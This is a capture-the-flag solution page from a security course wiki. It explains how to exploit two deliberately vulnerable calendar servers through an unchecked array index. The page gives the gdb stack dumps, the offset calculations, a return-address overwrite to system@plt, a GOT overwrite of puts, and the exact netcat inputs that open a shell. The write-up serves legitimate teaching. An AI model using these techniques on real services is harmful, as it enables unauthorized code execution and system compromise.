User Tools

Site Tools


Sidebar

session:solution:mid-ctf_tasks2_4

This is an old revision of the document!


Table of Contents

CTF Tasks 2 & 4

Task 2

We start by browsing the source code and looking for a vulnerability. We immediately see this line:

        calendar[allowed_day] = entry;

Here, both allowed_day and entry are controlled by us and there is no bounds checking. Thus, this is an arbitrary write to anywhere in memory. However, it's a relative rather than absolute write, which limits us to known offsets. The usual suspect for arbitrary writes is the return address. If we had a function that called system(“/bin/sh”) we could point the return address there and it would be over. Here, we only have one write on the stack. Let's see what is on the stack before we think of anything harder.

# gdb ./hibercal
gdb-peda$ pdis hibercal
Dump of assembler code for function hibercal:
   0x080488ec <+0>:	push   ebp
   0x080488ed <+1>:	mov    ebp,esp
........
   0x08048990 <+164>:	call   0x80488d8 <process_calendar>
   0x08048995 <+169>:	mov    DWORD PTR [esp],0x8048dc5
   0x0804899c <+176>:	call   0x80486e0 <puts@plt>
   0x080489a1 <+181>:	mov    eax,DWORD PTR [ebp+0x8]
   0x080489a4 <+184>:	mov    DWORD PTR [esp],eax
   0x080489a7 <+187>:	call   0x80486e0 <puts@plt>
   0x080489ac <+192>:	leave  
   0x080489ad <+193>:	ret    
End of assembler dump.
gdb-peda$ break *0x080489ad
Breakpoint 1 at 0x80489ad
gdb-peda$ set follow-fork-mode child
gdb-peda$ run 4242
Starting program: /tmp/ctf/Task2/hibercal 4242
 
 
 
Breakpoint 1, 0x080489ad in hibercal ()
gdb-peda$ context stack
[------------------------------------stack-------------------------------------]
0000| 0xbfffecec --> 0x8048a1c (<doprocessing+110>:	leave)
0004| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus")
0008| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus")
0012| 0xbfffecf8 --> 0xb7fff900 --> 0x0 
0016| 0xbfffecfc --> 0x1 
0020| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (<close>:	cmp    DWORD PTR gs:0xc,0x0)
0024| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>:	sub    esp,0x14)
0028| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 
0032| 0xbfffed0c ("Santa_claus")
0036| 0xbfffed10 ("a_claus")
0040| 0xbfffed14 --> 0x737561 ('aus')
0044| 0xbfffed18 --> 0x0 
0048| 0xbfffed1c --> 0xb7eb0037 (<fork+359>:	mov    esi,DWORD PTR [ebp-0x2c])
0052| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 
0056| 0xbfffed24 --> 0x0 
0060| 0xbfffed28 --> 0x7f 
 
[------------------------------------------------------------------------------]

So, this is the code execution context when I entered “Santa_claus” as the name. 0x8048a1c is the return address which we could overwrite. Since system is called in another function (no_chance) it is also imported in the PLT. We can take the address from there and replace the return address with it. The result would be the equivalent of system(“Santa_claus”). And if we replace the name with “/bin/sh” we pop a shell.

We only need to know what is the offset to the return address. We write 0x41424344=1094861636 at day 0 and then compute by hand:

gdb-peda$ run 4242
Starting program: /tmp/ctf/Task2/hibercal 4242
warning: the debug information found in "/usr/lib64/debug/lib64/ld-2.17.so.debug" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
warning: Could not load shared library symbols for linux-gate.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[New process 19558]
[Switching to process 19558]
Breakpoint 1, 0x080489ad in hibercal ()
gdb-peda$ telescope $esp-4*30 50
0000| 0xbfffec74 --> 0x0 
0004| 0xbfffec78 --> 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 
0008| 0xbfffec7c --> 0x80489ac (<hibercal+192>:	leave)
0012| 0xbfffec80 --> 0xbfffed0c ("Santa_claus")
0016| 0xbfffec84 --> 0x804a08c ("DCBA")
0020| 0xbfffec88 --> 0x0 
0024| 0xbfffec8c --> 0xb7e6a17b (<__overflow+75>:	mov    ebx,DWORD PTR [esp+0x14])
0028| 0xbfffec90 --> 0xb7f9a9e0 --> 0xfbad2887 
0032| 0xbfffec94 --> 0xa ('\n')
0036| 0xbfffec98 --> 0xb7f9a9e0 --> 0xfbad2887 
0040| 0xbfffec9c ("DCBA*")
0044| 0xbfffeca0 --> 0x2a ('*')
0048| 0xbfffeca4 --> 0x2a ('*')
0052| 0xbfffeca8 --> 0x2a ('*')
0056| 0xbfffecac --> 0x2a ('*')
0060| 0xbfffecb0 --> 0x2a ('*')
0064| 0xbfffecb4 --> 0x2a ('*')
0068| 0xbfffecb8 --> 0x2a ('*')
0072| 0xbfffecbc --> 0x2a ('*')
0076| 0xbfffecc0 --> 0x2a ('*')
0080| 0xbfffecc4 --> 0x2a ('*')
0084| 0xbfffecc8 --> 0x2a ('*')
0088| 0xbfffeccc --> 0x2a ('*')
0092| 0xbfffecd0 --> 0x2a ('*')
0096| 0xbfffecd4 --> 0x2a ('*')
0100| 0xbfffecd8 --> 0x2a ('*')
0104| 0xbfffecdc --> 0x10 
0108| 0xbfffece0 --> 0x0 
0112| 0xbfffece4 --> 0x0 
0116| 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 
0120| 0xbfffecec --> 0x8048a1c (<doprocessing+110>:	leave)
0124| 0xbfffecf0 --> 0xbfffed0c ("Santa_claus")
0128| 0xbfffecf4 --> 0xbfffed0c ("Santa_claus")
0132| 0xbfffecf8 --> 0xb7fff900 --> 0x0 
0136| 0xbfffecfc --> 0x1 
0140| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (<close>:	cmp    DWORD PTR gs:0xc,0x0)
0144| 0xbfffed04 --> 0xb7fec65c (<_dl_fixup+204>:	sub    esp,0x14)
0148| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 
0152| 0xbfffed0c ("Santa_claus")
0156| 0xbfffed10 ("a_claus")
0160| 0xbfffed14 --> 0x737561 ('aus')
0164| 0xbfffed18 --> 0x0 
0168| 0xbfffed1c --> 0xb7eb0037 (<fork+359>:	mov    esi,DWORD PTR [ebp-0x2c])
0172| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 
0176| 0xbfffed24 --> 0x0 
0180| 0xbfffed28 --> 0x7f 
0184| 0xbfffed2c --> 0x8048e14 --> 0x52524500 ('')
0188| 0xbfffed30 --> 0xbffff074 ("4242")
0192| 0xbfffed34 --> 0x804840c --> 0x62696c00 ('')
0196| 0xbfffed38 --> 0xb7ef6669 (<inet_aton+9>:	add    ebx,0xa37eb)

We see our value at 0xbfffec9c and then lots of 42's and the return address at 0xbfffecec. 0xbfffecec - 0xbfffec9c = 80 = 4 * 20.

Thus, we need to write at day 20.

Let's try it.

 # gdb ./hibercal 
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0x80486f0 <system@plt>
gdb-peda$ quit
 
# python
>>> 0x80486f0
134514416
 
# nc 127.0.0.1 4242
Enter your name:
 
/bin/sh
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
20
What do you want to write?
134514416
Goodbye
/bin/sh
date
Fri Jul 11 12:35:22 EEST 2014

Task 4

This task is said to be more secure than the previous one. Since we have the source to both let's do a diff.

--- hibercal.c	2014-07-06 15:56:04.000000000 +0300
+++ ubercal.c	2014-07-06 15:56:28.000000000 +0300
@@ -14,7 +14,7 @@
 {
 	printf("No chance to get here\n");
 	printf("But let's write it on the Wall of Fame just in case\n");
-	system("date >> /tmp/wall_of_fame.txt");
+	system("date >> /tmp/wall_of_fame2.txt");
 }
 
 
@@ -24,9 +24,14 @@
 	sleep(HIBER);
 }
 
-void hibercal(char *name)
+void ubercal()
 {
 	int i, calendar[HIBER];
+
+	char name[100];
+	puts("Enter your name:\n");
+	scanf("%99s", name);
+
 	for (i = 0 ; i < HIBER; i++)
 		calendar[i] = 42;
 
@@ -52,21 +57,12 @@
 
 void doprocessing(int sockfd)
 {
-	char buf[100];
 	dup2(sockfd, 1);
 	dup2(sockfd, 0);
 	setbuf(stdout, NULL);
-	puts("Enter your name:\n");
-	scanf("%99s", buf);
-	hibercal(buf);
+	ubercal();
 }
 
-
-
-
-
-
-
 int main(int argc, char **argv)
 {
     int optval = 1;
@@ -132,7 +128,3 @@
         }
     }
 }

So the code is a bit rearranged. Let's test, as before, what we have on the stack at the point of “ret”.

  0x080489c1 <+213>:	call   0x80486e0 <puts@plt>
   0x080489c6 <+218>:	lea    eax,[ebp-0xb0]
   0x080489cc <+224>:	mov    DWORD PTR [esp],eax
   0x080489cf <+227>:	call   0x80486e0 <puts@plt>
   0x080489d4 <+232>:	leave  
   0x080489d5 <+233>:	ret    
End of assembler dump.
gdb-peda$ break *0x080489d5
Breakpoint 1 at 0x80489d5
gdb-peda$ run 4242
Breakpoint 1, 0x080489d5 in ubercal ()
gdb-peda$ context stack
[------------------------------------stack-------------------------------------]
0000| 0xbfffed5c --> 0x8048a1c (<doprocessing+70>:	leave)
0004| 0xbfffed60 --> 0xb7f9a9e0 --> 0xfbad2887 
0008| 0xbfffed64 --> 0x0 
0012| 0xbfffed68 --> 0x8661 
0016| 0xbfffed6c --> 0xbfffede8 --> 0x0 
0020| 0xbfffed70 --> 0xb7f99e54 --> 0x1a6d5c 
0024| 0xbfffed74 --> 0xb7f99e54 --> 0x1a6d5c 
0028| 0xbfffed78 --> 0xbfffede8 --> 0x0 
0032| 0xbfffed7c --> 0x8048bee (<main+464>:	mov    DWORD PTR [esp],0x0)
0036| 0xbfffed80 --> 0x4 
0040| 0xbfffed84 --> 0xbfffeda8 --> 0x9ee40002 
0044| 0xbfffed88 --> 0xbfffedc8 --> 0x10 
0048| 0xbfffed8c --> 0xbfffedcc --> 0x1 
0052| 0xbfffed90 --> 0x4 
0056| 0xbfffed94 --> 0xbfffee84 --> 0xbffff05e ("/tmp/ctf/Task4/ubercal")
0060| 0xbfffed98 --> 0xb7e03060 --> 0x2a1d 
 
[------------------------------------------------------------------------------]

Unfortunately, rearranging the code means that the name isn't placed on the stack anymore. We need to inspect the code further:

void ubercal()
{
        int i, calendar[HIBER];
 
        char name[100];
        puts("Enter your name:\n");
        scanf("%99s", name);
 
        for (i = 0 ; i < HIBER; i++)
                calendar[i] = 42;
 
        if (allowed_day == 0) {
                printf("You are allowed to write an entry in the %d-day hibernation calendar. What will it be? Make it a good one!\n", HIBER);
 
                puts("Which day?");
                scanf("%d", &allowed_day);
 
                puts("What do you want to write?");
                scanf("%d", &entry);
        } else {
                puts("You already wrote in my calendar");
        }
        calendar[allowed_day] = entry;
 
        process_calendar(calendar);
 
        puts("Goodbye");
        puts(name); // <=========================
}

Notice puts(name). Can we replace puts with system? Let's remember how puts works:

gdb-peda$ context code
[-------------------------------------code-------------------------------------]
   0x80488e5 <process_calendar+13>:	call   0x80486a0 <sleep@plt>
   0x80488ea <process_calendar+18>:	leave  
   0x80488eb <process_calendar+19>:	ret    
   0x80488ec <ubercal>:	push   ebp
   0x80488ed <ubercal+1>:	mov    ebp,esp
   0x80488ef <ubercal+3>:	sub    esp,0xc8
   0x80488f5 <ubercal+9>:	mov    DWORD PTR [esp],0x8048d0b
=> 0x80488fc <ubercal+16>:	call   0x80486e0 <puts@plt>
   0x8048901 <ubercal+21>:	lea    eax,[ebp-0xb0]
   0x8048907 <ubercal+27>:	mov    DWORD PTR [esp+0x4],eax
   0x804890b <ubercal+31>:	mov    DWORD PTR [esp],0x8048d1d
   0x8048912 <ubercal+38>:	call   0x8048760 <__isoc99_scanf@plt>
   0x8048917 <ubercal+43>:	mov    DWORD PTR [ebp-0xc],0x0
   0x804891e <ubercal+50>:	jmp    0x804892f <ubercal+67>
   0x8048920 <ubercal+52>:	mov    eax,DWORD PTR [ebp-0xc]
   0x8048923 <ubercal+55>:	mov    DWORD PTR [ebp+eax*4-0x4c],0x2a
Guessed arguments:
arg[0]: 0x8048d0b ("Enter your name:\n")
[------------------------------------------------------------------------------]
 
gdb-peda$ si
gdb-peda$ context code
[-------------------------------------code-------------------------------------]
   0x80486bb <htons@plt+11>:	jmp    0x8048640
   0x80486c0 <perror@plt>:	jmp    DWORD PTR ds:0x804a028
   0x80486c6 <perror@plt+6>:	push   0x38
   0x80486cb <perror@plt+11>:	jmp    0x8048640
   0x80486d0 <accept@plt>:	jmp    DWORD PTR ds:0x804a02c
   0x80486d6 <accept@plt+6>:	push   0x40
   0x80486db <accept@plt+11>:	jmp    0x8048640
=> 0x80486e0 <puts@plt>:	jmp    DWORD PTR ds:0x804a030
 | 0x80486e6 <puts@plt+6>:	push   0x48
 | 0x80486eb <puts@plt+11>:	jmp    0x8048640
 | 0x80486f0 <system@plt>:	jmp    DWORD PTR ds:0x804a034
 | 0x80486f6 <system@plt+6>:	push   0x50
 | 0x80486fb <system@plt+11>:	jmp    0x8048640
 | 0x8048700 <__gmon_start__@plt>:	jmp    DWORD PTR ds:0x804a038
 | 0x8048706 <__gmon_start__@plt+6>:	push   0x58
 | 0x804870b <__gmon_start__@plt+11>:	jmp    0x8048640
 |->   0x80486e6 <puts@plt+6>:	push   0x48
       0x80486eb <puts@plt+11>:	jmp    0x8048640
       0x80486f0 <system@plt>:	jmp    DWORD PTR ds:0x804a034
       0x80486f6 <system@plt+6>:	push   0x50
       0x80486fb <system@plt+11>:	jmp    0x8048640
       0x8048700 <__gmon_start__@plt>:	jmp    DWORD PTR ds:0x804a038
       0x8048706 <__gmon_start__@plt+6>:	push   0x58
       0x804870b <__gmon_start__@plt+11>:	jmp    0x8048640
                                                                  JUMP is taken
[------------------------------------------------------------------------------]
gdb-peda$ telescope 0x804a030
0000| 0x804a030 --> 0x80486e6 (<puts@plt+6>:	push   0x48)
0004| 0x804a034 --> 0x80486f6 (<system@plt+6>:	push   0x50)

It uses the PLT/GOT mechanism as we discussed in previous sessions. It uses a table of function pointers that initially point back in the program to a resolution procedure. After being called once the function pointers are written with the correct address. So the table is writable! We can write the address of system into puts.

But hold on! This would require an absolute arbitrary write while we only have a relative arbitrary write. Can we still solve it? In this case yes, as the keen observer would see that both Tasks 2 & 4 run on the same machine:

  • Task 2: HiberCal ⇒ exploit task (source provided) 150 points
    • ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31337
  • Task 4: UberCal ⇒ harder exploit, variation on task 2 300 points
    • ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31338

How does that help us? The analogy is the following: We have an arbitrary write at X + 4 * Y = Z. We control Y but we don't know X. What about Z?

Remember good old Segmentation Fault! If we acess an invalid memory address the program receives SEGV and is killed by the kernel. The kernel also logs to dmesg the location of the invalid address.

# nc 127.0.0.1 4242
Enter your name:
 
test
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
-100000
What do you want to write?
1
# dmesg|tail -1
ubercal[23403]: segfault at bff9d2ac ip 00000000080489ab sp 00000000bfffecb0 error 6 in ubercal[8048000+1000]

So Z = 0xbff9d2ac, Y = -100000. It's trivial to solve for X: 0xbfffed4c

If you followed everything so far you know we have all we need for the exploit. Writing to Z=0x804a030 requires us to use Y= (0x804a030-0xbfffed4c)/4 = -771674951. The value to be written can be the one from system (0x80486f6)

# nc 127.0.0.1 4242
Enter your name:
 
/bin/sh
You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one!
Which day?
-771674951
What do you want to write?
134514422
date
Fri Jul 11 13:06:50 EEST 2014

Works as expected!

session/solution/mid-ctf_tasks2_4.1405073231.txt.gz · Last modified: 2014/07/11 13:07 by rcaragea